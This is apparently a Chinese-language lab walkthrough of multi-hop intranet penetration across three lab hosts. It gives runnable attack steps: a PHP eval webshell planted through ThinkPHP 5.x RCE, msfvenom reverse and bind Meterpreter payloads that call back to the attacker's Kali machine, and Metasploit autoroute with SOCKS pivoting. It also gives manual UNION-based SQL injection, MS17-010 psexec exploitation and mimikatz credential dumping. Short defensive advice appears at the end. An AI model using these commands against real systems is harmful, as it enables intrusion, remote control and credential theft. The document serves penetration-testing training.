内网安全-隧道穿透漫游
字数 1640 2025-08-29 08:31:35
内网隧道穿透与横向移动技术详解
一、隧道技术概述
1. 什么是隧道技术
在渗透测试中,进入内网后需要判断流量是否能够出得去、进得来。实际网络环境中,流量会经过许多边界设备(如IDP、IPS、防火墙等),隧道技术就是绕过端口屏蔽的通信方式。
隧道工作原理:防火墙两端的数据包通过防火墙允许的数据包类型或端口进行封装,穿过防火墙后解包还原,并将还原后的数据包发送到相应服务器。
2. 隧道分类
常见的隧道包括三大类:
- 网络层隧道
- 应用层隧道
- 传输层隧道
二、靶场环境搭建
1. 网络拓扑
- Target1: 192.168.3.117
- Target2: 192.168.22.102
- Target3: 192.168.33.33
2. 初始配置
临时配置IP地址(重启后失效):
ifconfig ethx IP/MASK
# 示例
ifconfig eth0 192.168.22.22/24
宝塔面板配置:
- Target1: 账号eaj3yhsl 密码41bb8fee
- Target2: 账号xdynr37d 密码123qwe..
三、Target1渗透过程
1. 信息收集
- 使用dirb扫描网站目录,发现robots.txt中的flag
- 访问index.php发现使用ThinkPHP框架
- 测试ThinkPHP5.x远程命令执行漏洞
2. 漏洞利用
获取网站绝对路径并写入一句话木马:
pwd
echo '<?php eval($_POST['x']);?>' > /www/wwwroot/ThinkPHP/pu.php
使用菜刀连接大马(密码x)
3. MSF后门植入
- 生成Linux后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali本机地址 LPORT=1111 -f elf > t1.elf
- MSF设置监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST kali本机地址
set LPORT 1111
exploit
background
- 通过菜刀上传并执行后门:
chmod +777 t1.elf
./t1.elf
4. 路由配置
- 查看网络接口:
run get_local_subnets
- 添加22网段路由:
run autoroute -s 192.168.22.0/24
5. 建立Socks代理
- MSF开启本地代理:
use auxiliary/server/socks_proxy
set srvport 1080
exploit
-
Windows配置Socks代理(使用SocksCap64)
-
Kali配置proxychains:
编辑/etc/proxychains4.conf,添加:
socks5 127.0.0.1 1080
6. 扫描22网段
方法一:使用proxychains+nmap
proxychains nmap -sT -Pn 192.168.22.0/24 -p80
方法二:使用MSF端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run
四、Target2渗透过程
1. 信息收集
- 发现192.168.22.102的80端口
- 扫描网站目录(使用代理工具如御剑)
- 在主页源代码中发现SQL注入提示
2. SQL注入利用
方法一:使用SQL工具
- 配置Socks5代理
- 识别注入点并获取数据
方法二:手工注入
- 确定注入类型:
' 报错
" 正常
- 确定列数:
' order by 39%23 # 正常
' order by 40%23 # 报错
- 获取数据库名:
union select group_concat(table_name),2,3,...,39 from information_schema.tables where table_schema='bagecms'%23
- 获取表名:
union select group_concat(column_name),2,3,...,39 from information_schema.columns where table_name='bage_admin'%23
- 获取账号密码:
union select username,password,3,4,...,39 from bagecms.bage_admin limit 0,1%23
获取的密码为MD5加密,解密后为123qwe
3. 后台Getshell
- 登录后台
- 通过模板修改写入Webshell
- 使用代理连接菜刀
4. 正向连接后门
- 生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
- MSF设置监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.102
set LPORT 3333
exploit
-
上传并执行后门
-
添加33网段路由:
run autoroute -s 192.168.33.0/24
- 开启新的Socks代理:
use auxiliary/server/socks_proxy
set srvport 1081
run
- 更新proxychains配置
五、Target3渗透过程
1. 信息收集
- 扫描33网段:
proxychains nmap -Pn -sT -T4 192.168.33.33
发现445和3389端口(Windows系统)
2. MS17-010漏洞检测
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.33.33
run
3. 漏洞利用
- 使用psexec模块:
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set RHOST 192.168.33.33
exploit
- 提权操作:
getsystem
load mimikatz
creds_all
- 远程桌面连接
六、关键技术总结
- ThinkPHP5.x RCE漏洞利用:三种利用方式及echo写马注意事项
- MSF路由与代理:
- 添加路由:
run autoroute -s - Socks代理:
auxiliary/server/socks_proxy
- 添加路由:
- CMS漏洞利用:SQL注入→后台登录→模板Getshell
- 永恒之蓝利用:MS17-010的psexec模块使用
- 多层网络穿透:通过不断添加路由+Socks代理实现横向移动
- 代理工具:SocksCap64的使用
七、完整渗透流程
- 外网Web漏洞利用获取初始立足点
- 建立反向连接获取meterpreter会话
- 添加内网路由
- 建立代理通道
- 通过代理进行内网扫描和信息收集
- 利用内网服务漏洞横向移动
- 重复2-6步骤直至到达目标系统
- 获取最终flag完成渗透
八、防御建议
- 及时修补已知漏洞(如ThinkPHP、MS17-010)
- 网络分段隔离,限制横向移动
- 部署IDS/IPS检测异常流量
- 加强权限管理,避免权限提升
- 监控代理和隧道行为
- 定期进行安全审计和渗透测试